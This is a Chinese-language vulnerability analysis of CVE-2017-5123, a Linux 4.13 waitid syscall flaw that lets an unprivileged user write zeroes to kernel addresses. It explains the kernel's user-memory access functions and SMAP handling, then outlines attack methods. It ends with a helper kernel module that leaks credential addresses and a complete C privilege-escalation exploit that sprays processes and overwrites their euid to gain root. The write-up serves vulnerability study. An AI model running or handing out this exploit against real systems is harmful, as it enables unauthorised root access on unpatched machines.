CVE-2017-5123 waitid syscall

漏洞来自Chris Salls’s blog

该漏洞由Chris Salls发现,利用该漏洞可以实现权限提升,突破SEMPSMAPChrome sandbox的机制;

环境

kernel verison: 4.13

知识储备

简单理解

在进程进行系统调用的时候,内核需要具备对该进程内存的读写能力,因此就有了copy_from_user或者put_user等等交互函数,用于在内核和用户之间传输数据;

put_user大致的内容如下:

put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()

其中access_ok的功能适用于检测当前的指针*ptr是否位于用户区而非内核内存区域,如果通过了检测,就会调用user_access_begin()关闭SMAP,允许内核访问用户区域。此时内核将会对用户进程内存进行操作,完毕之后重新启用SMAP。这些访问用户进程内存的函数在读写时,如果访问未映射内存,会进行页面错误处理而不会导致崩溃。

wait & waitpid & waitid

子进程结束后,需要由父进程回收子进程,所以父进程肯定是不能先于子进程结束的,但是父进程怎么才能知道子进程结束了呢?当子进程结束时,子进程会给父进程发送SIGCHILD信号,之后父进程就会执行对子进程的操作;

涉及到几个wait相关的函数;

wait

原型
#include <sys/wait.h>
pid_t wait(int *status);

调用wait()会使父进程一直处于阻塞状态,直到有一个子进程结束并后返回该子进程pid,wait()函数将子进程退出的状态存储到其引用的参数status中,借助宏函数来进一步判断进程终止的具体原因。

因此大致的流程为:

  • 调用wait()阻塞等待子进程退出

  • 回收子进程残留资源,保存在status

  • 获取子进程结束状态status,判断终止原因

示例
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

int main(void) {
pid_t pid, wpid;
int status;
pid = fork();

if (pid == 0) {
sleep(300);
printf("child, pid = %d\n", getpid());
return 19;

} else if (pid > 0) {
printf("parent, pid = %d\n", getpid());
//获取子进程的状态
//父进程一直在阻塞等待子进程结束
wpid = wait(&status);
printf("wpid ---- = %d\n", wpid);

if (WIFEXITED(status)) {
//获取进程退出状态
printf("exit with %d\n", WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
//获取使进程异常终止的信号编号
printf("killed by %d\n", WTERMSIG(status));
}
}
}

waitpid

从本质上讲,waitpidwait作用相同;

原型
pid_t waitpid(pid_t pid,int *status,int options)
参数

可以看到多了两个参数pidoptions,提供了对进程控制更加灵活的操作;

pid参数传入的应当是一个进程的pid,其有以下几个数值范围:

  • pid > 0时,只等待进程ID等于pid的子进程,只要指定的子进程还没有结束,父进程就会一直等待。
  • pid = -1时,等待任何一个子进程退出,没有任何限制,此时waitpid()wait()的作用一模一样。
  • pid = 0时,等待同一个进程组中的任何子进程,若子进程已经进入其他进程组,waitpid()不会对它做任何处理。
  • pid < -1时,等待一个指定进程组中的任何子进程,这个进程组的ID等于pid的绝对值。

options参数提供了额外控制选项,以或|的形式来设置开启,如(WNOHANG|WUNTRACED)

  • WNOHANG,即wait no hang,即使没有子进程退出,也会立即返回;
  • WUNTRACED,涉及到进程跟踪;
返回

waitpid()的返回较wait()也相对更复杂;

  1. 当正常返回的时候,waitpid返回收集到的子进程的进程ID;
  2. 如果设置了选项WNOHANG,而调用中waitpid()发现没有已退出的子进程可收集,则返回0
  3. 如果调用中出错,则返回-1,这时errno会被设置成相应的值以指示错误所在;
示例
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>

int main() {
pid_t pid, pr;
pid = fork();
if(pid < 0)
printf("Error occured on forking.\n");
else if(pid == 0){
sleep(4);
exit(0);
}
do{
pr = waitpid(pid, NULL, WNOHANG);
if(pr == 0){
printf("No child exited\n");
sleep(1);
}
}while(pr == 0);

if(pr == pid)
printf("successfully release child %d\n", pr);
else
printf("some error occured\n");
}

waitid

与waitpid相似,但是更加灵活;

原型
int waitid( idtype_t idtype, id_t id, siginfo_t *infop, int options );
参数

id类似于waitpid()中的pid参数,是根据idytpe而定的,其下是idtype的几个常量:

  • P_PID:等待一个特定的进程,则参数id需要设置为要等待子进程的进程ID

  • P_PGID:等待一个特定进程组中的任一子进程,则参数id需要设置为要等待子进程的进程组ID

  • P_ALL:等待任一子进程,忽略了参数id的设置

infop是指向siginfo结构的指针,包含了有关引起子进程状态改变的生成信号的详细信息;

optionswaitpid()中的options如出一辙,配置选项,有以下的选择:

  • WCONTINUED:等待一个进程,它以前曾被暂停,此后又已继续,但其状态尚未报告
  • WEXITED:等待已退出的进程
  • WNOHANG:如无可用的子进程退出状态,立即返回而非阻塞
  • WNOWAIT:不破坏子进程退出状态。该子进程退出状态可由后续的wait、waitid或waitpid调用取得
  • WSTOPPED:等待一个进程,它已经暂停,但其状态尚未报告

siginfo

下面是siginfo的数据结构,其中包含了各种信号处理相关的结构

typedef struct siginfo {
int si_signo; // signal number的简写,该变量用来存储信号编号并且恒有值
int si_errno;
int si_code;

union {
int _pad[SI_PAD_SIZE];

/* kill() */
struct {
__kernel_pid_t _pid; /* sender's pid */
__ARCH_SI_UID_T _uid; /* sender's uid */
} _kill;

/* POSIX.1b timers */
struct {
__kernel_timer_t _tid; /* timer id */
int _overrun; /* overrun count */
char _pad[sizeof( __ARCH_SI_UID_T) - sizeof(int)];
sigval_t _sigval; /* same as below */
int _sys_private; /* not to be passed to user */
} _timer;

/* POSIX.1b signals */
struct {
__kernel_pid_t _pid; /* sender's pid */
__ARCH_SI_UID_T _uid; /* sender's uid */
sigval_t _sigval;
} _rt;

/* SIGCHLD */
struct {
__kernel_pid_t _pid; /* which child */
__ARCH_SI_UID_T _uid; /* sender's uid */
int _status; /* exit code */
__ARCH_SI_CLOCK_T _utime;
__ARCH_SI_CLOCK_T _stime;
} _sigchld;

/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
struct {
void __user *_addr; /* faulting insn/memory ref. */
#ifdef __ARCH_SI_TRAPNO
int _trapno; /* TRAP # which caused the signal */
#endif
short _addr_lsb; /* LSB of the reported address */
union {
/* used when si_code=SEGV_BNDERR */
struct {
void __user *_lower;
void __user *_upper;
} _addr_bnd;
/* used when si_code=SEGV_PKUERR */
__u32 _pkey;
};
} _sigfault;

/* SIGPOLL */
struct {
__ARCH_SI_BAND_T _band; /* POLL_IN, POLL_OUT, POLL_MSG */
int _fd;
} _sigpoll;

/* SIGSYS */
struct {
void __user *_call_addr; /* calling user insn */
int _syscall; /* triggering system call number */
unsigned int _arch; /* AUDIT_ARCH_* of syscall */
} _sigsys;
} _sifields;
} __ARCH_SI_ATTRIBUTES siginfo_t;

waitid

waitid系统调用的漏洞代码如下:

// kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0}; //
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL); // 调用waitid
int signo = 0;
if (err > 0) {
signo = SIGCHLD; // 信号处理号为SIGCHLD
err = 0;
}

if (!err) {
if (ru && copy_to_user(ru, &r, sizeof(struct rusage))) //
return -EFAULT;
}
if (!infop) // 信号指针异常
return err;

user_access_begin(); // 关闭SAMP,允许内核访问用户进程内存空间
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user((short)info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // 开启SMAP,禁止内核访问用户进程内存空间
return err;
Efault:
user_access_end();
return -EFAULT;
}

user_access_begin

该函数关闭了SAMP,允许内核访问用户进程内存空间,其函数内容为:

#define user_access_begin()	__uaccess_begin()

实际上调用了__uaccess_begin(),再看看__uaccess_begin()

#define __uaccess_begin() stac()

实际上调用了stac()

stac

/* "Raw" instruction opcodes */
#define __ASM_STAC .byte 0x0f,0x01,0xcb

#define X86_FEATURE_SMAP ( 9*32+20) /* Supervisor Mode Access Prevention */


static __always_inline void stac(void)
{
/* Note: a barrier is implicit in alternative() */
alternative("", __stringify(__ASM_STAC), X86_FEATURE_SMAP);
}

这里一直跟踪alternative()函数的执行流,最终到了下面这个代码;

#define __ALTERNATIVE_CFG(oldinstr, newinstr, feature, cfg_enabled)	\
".if "__stringify(cfg_enabled)" == 1\n" \
"661:\n\t" \
oldinstr "\n" \
"662:\n" \
".pushsection .altinstructions,\"a\"\n" \
ALTINSTR_ENTRY(feature) \
".popsection\n" \
".pushsection .altinstr_replacement, \"a\"\n" \
"663:\n\t" \
newinstr "\n" \
"664:\n\t" \
".popsection\n\t" \
".org . - (664b-663b) + (662b-661b)\n\t" \
".org . - (662b-661b) + (664b-663b)\n" \
".endif\n"

stac()函数设置了Extended Features CPUID leaf,也就是EFLAGSAC位,暂时关闭了SMAP

unsafe_put_user

在该漏洞版本中,缺少了access_ok()对指针的检查,在暂时关闭了SMAP后直接对用户内存空间进行操作;

// arch/x86/include/asm/uaccess.h

/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/

#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)

官方提示了在使用unsafe_put_user的时候,需要配合使用user_access_begin/end()

并且需要调用access_ok()来检查指针,但是这里缺失了access_ok()的检查;

access_ok

/**
* access_ok: - Checks if a user space pointer is valid
* @type: Type of access: %VERIFY_READ or %VERIFY_WRITE. Note that
* %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
* to write to a block, it is always safe to read from it.
* @addr: User space pointer to start of block to check
* @size: Size of block to check
*
* Context: User context only. This function may sleep if pagefaults are
* enabled.
*
* Checks if a pointer to a block of memory in user space is valid.
*
* Returns true (nonzero) if the memory block may be valid, false (zero)
* if it is definitely invalid.
*
* Note that, depending on architecture, this function probably just
* checks that the pointer is in the user space range - after calling
* this function, memory access functions may still return -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})

这里实际上检查了指针所处的内存地址范围是否合法;

user_addr_max

// arch/x86/include/asm/uaccess.h
#define user_addr_max() (current->thread.addr_limit.seg)

user_addr_max()current->thread.addr_limit.seg ,是用户态地址的边界;

__range_not_ok

// arch/x86/include/asm/uaccess.h
#define __range_not_ok(addr, size, limit) \
({ \
__chk_user_ptr(addr); \
__chk_range_not_ok((unsigned long __force)(addr), size, limit); \
})

于是调用__range_not_ok()来检查地址有无越界;

__chk_user_ptr
// tools/virtio/linux/uaccess.h
static inline void __chk_user_ptr(const volatile void *p, size_t size)
{
assert(p >= __user_addr_min && p + size <= __user_addr_max);
}

__chk_user_ptr()由于检查addr参数指针是否指向用户态;

__chk_range_not_ok
// arch/x86/include/asm/uaccess.h
static inline bool __chk_range_not_ok(unsigned long addr, unsigned long size, unsigned long limit)
{
/*
* If we have used "sizeof()" for the size,
* we know it won't overflow the limit (but
* it might overflow the 'addr', so it's
* important to subtract the size from the
* limit, not add it to the address).
*/
if (__builtin_constant_p(size))
return unlikely(addr > limit - size);

/* Arbitrary sizes? Be careful about overflow */
addr += size;
if (unlikely(addr < size))
return true;
return unlikely(addr > limit);
}

__chk_range_not_ok()用于检查加上偏移(size)后的addr是否越界,即addr+size是否仍然指向用户态;

sample

这里举一个例子,access_ok()对地址进行检查:

static int
__setup_frame(int sig, struct ksignal *ksig, sigset_t *set, struct pt_regs *regs)
{
struct sigframe __user *frame;
void __user *restorer;
int err = 0;
void __user *fpstate = NULL;

frame = get_sigframe(&ksig->ka, regs, sizeof(*frame), &fpstate);

if (!access_ok(VERIFY_WRITE, frame, sizeof(*frame)))
return -EFAULT;
// ......
}

这里检查frame的地址是否是用户态的。

setup_frame 信号处理的步骤为:

  1. 返回到用户态执行信号处理程序,CPU要从内核栈中找到返回到用户态的地址(就是调用系统调用的下一条代码指令地址)Linux为了先让信号处理程序执行,所以就需要把这个返回地址修改为信号处理程序的入口,这样当从系统调用返回到用户态时,就可以执行信号处理程序了。;
  2. 执行完信号处理程序后再返回到内核态,用户态的signal handler执行完毕后,重新切回内核态。(通过sigreturn() 系统调用,在 sigreturn() 中恢复原来内核栈的内容,SROP是由于 sigreturn后没有对数据做检查就弹到寄存器,导致恶意的gadgets得以执行;
  3. 在内核态完成收尾工作。

user_access_end

调用了clac()函数;

#define user_access_end()	__uaccess_end()
#define __uaccess_end() clac()

clac

stac()同理;

#define __ASM_CLAC	.byte 0x0f,0x01,0xca

#define X86_FEATURE_SMAP ( 9*32+20) /* Supervisor Mode Access Prevention */

static __always_inline void clac(void)
{
/* Note: a barrier is implicit in alternative() */
alternative("", __stringify(__ASM_CLAC), X86_FEATURE_SMAP);
}

clac()开启了SMAP

漏洞原理

一些系统调用的函数会调用put_userget_user来进行内核与用户之间的数据传输,为了避免重复检查SMAP的开启或者关闭状态带来的额外开销,内核开发人员引用了不安全的_put_userunsafe_put_user函数,它们缺少了必要的安全检查;

在内核版本4.13中,为了能够正常使用unsafe_put_user,专门对waitid syscall进行了更新,但仍然少了access_ok的检查;

漏洞代码如下:

// kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0}; //
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL); // 调用waitid
int signo = 0;
if (err > 0) {
signo = SIGCHLD; // 信号处理号为SIGCHLD
err = 0;
}

if (!err) {
if (ru && copy_to_user(ru, &r, sizeof(struct rusage))) //
return -EFAULT;
}
if (!infop) // 信号指针异常
return err;

user_access_begin(); // 关闭SAMP,允许内核访问用户进程内存空间
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user((short)info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // 开启SMAP,禁止内核访问用户进程内存空间
return err;
Efault:
user_access_end();
return -EFAULT;
}

所以根据上述知识储备的内容,可以知道,如果没有使用access_ok进行检查的话,unsafe_put_user会直接对ptr所指的地址进行写入数据的操作,如下面对ptr写入了x

#define unsafe_put_user(x, ptr, err_label)					\
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)

而针对waitid系统调用的源码而言,unsafe_put_user(0, &infop->si_errno, Efault)(第二个unsafe_put_user())向一个可控制的地址写了一个空字节\0,想到,如果往cred结构体里的uid参数写入的话,就可以实现提权了,关键在于如何找到进程空间中的cred结构体的位置;

攻击方法

普通用户通过调用waitid()时,使用infop指针指向内核地址(这是因为infop指针是一个struct siginfo _user*的结构),此时内核会将内容x写入该地址。

几种可用的攻击方式:

  • 堆喷射(heap spray):fork()大量的进程,由于每个进程都会对应一个cred结构体,任意写某一个进程creduid,之后使用getuid()来检测是否有进程的cred.uid0
  • ret2dir:首先找到用户区域和内核区域对应的physmap的地址,往其中写入payload,通过找到内核对应的physmap的虚拟地址,最后吧内核态的执行流拉倒内核对应的physmap地址上;
  • 爆破:通过爆破struct file的地址,找到file结构体中指向当前的cred结构体的指针,接下来就可以直接任意写

当前的cred结构体;

  • 利用覆写have_canfork_calback触发空指针引用fork()提权;

heap spray

这里选择使用heap spray提权;

条件:

  • 通过unsafe_put_user0写入内核任意位置;
  • 如果知道cred结构体地址,则可以改写uideuid
  • waitpid在非法发昂文内存的时候会返回错误代码,而不会崩溃(-EFAULT);

方法:

  • clone()多个进程,使得cred结构体数目增多;

  • 通过insmod一个驱动,观察每个cred结构体中的euid的位置;
    例如:

    // my_module.c
    #include <linux/module.h>
    #include <linux/init.h>
    #include <linux/kernel.h>
    #include <linux/sched.h>
    #include <linux/fs.h> // for basic filesystem
    #include <linux/proc_fs.h> // for the proc filesystem
    #include <linux/seq_file.h> // for sequence files

    static struct proc_dir_entry* my_file;

    static int
    my_show(struct seq_file *m, void *v)
    {
    return 0;
    }

    static int
    my_open(struct inode *inode, struct file *file)
    {
    printk("EUID: %p\n", &current->cred->euid);
    return single_open(file, my_show, NULL);
    }

    static const struct file_operations my_fops = {
    .owner = THIS_MODULE,
    .open = my_open,
    .read = seq_read,
    .llseek = seq_lseek,
    .release = single_release,
    };

    static int __init
    my_init(void)
    {
    my_file = proc_create("jif", 0, NULL, &my_fops);

    if (!my_file) {
    return -ENOMEM;
    }

    return 0;
    }

    static void __exit
    my_exit(void)
    {
    remove_proc_entry("jif", NULL);
    }

    module_init(my_init);
    module_exit(my_exit);

    MODULE_LICENSE("GPL");
    # Makefile

    利用 dmesg | grep EUID获得cred.euid的地址;

复现过程

首先创建一个400权限的文件;

touch file && chmod 400 file

exp

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <errno.h>
#include <asm/unistd_64.h>
#define MAX_THREADS 19970
#define STACK_SIZE 4096
#define N 256


size_t startup_64,prepare_kernel_cred,commit_creds,offset;

int success_flag=1;

void set_cpu_affinity(){
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
puts("set single CPU failed");
return;
}

int spray(){
//open("/proc/jif");
set_cpu_affinity();
int fd = open("/proc/jif",O_RDWR);
close(fd);
int euid;
int old = geteuid();
while(1){
euid = syscall(__NR_geteuid);
if(old!=euid){
printf("[*]success!\n");
success_flag=0;
//printf("[*]pid:%d euid:%d uid:%d\n",getpid(),geteuid(),getuid());
setuid(0);
printf("[*]pid:%d euid:%d uid:%d\n",getpid(),geteuid(),getuid());
system("id");
system("cat cve-2017-5123");
}
if(!success_flag){
sleep(100000);
}
usleep(100000);
}

return 0;
}

int main(int argc, char **argv){
// set_cpu_affinity();
pid_t pid;
for(int i=0;i<850;i++){
void *stack=malloc(STACK_SIZE);
pid = clone(spray,stack,CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD,NULL);
if(pid==-1){
perror("[-]clone failed!");
exit(-1);
}
}

size_t start_addr = 0xffff88000d3b0004;
size_t end_addr = 0xffff88000d3b0ff4;
size_t inc = 0x10;
printf("[*]clone 850 over\n");
// getchar();
for(size_t address = start_addr;success_flag;address += inc){
printf("[*]attacking 0x%llx\n",address);
syscall(SYS_waitid, P_ALL,0,address, WEXITED|WNOHANG|__WNOTHREAD, NULL);
if(address > end_addr){printf("failed to pwn\n");exit(0);}
usleep(100000);
}
return 0;
}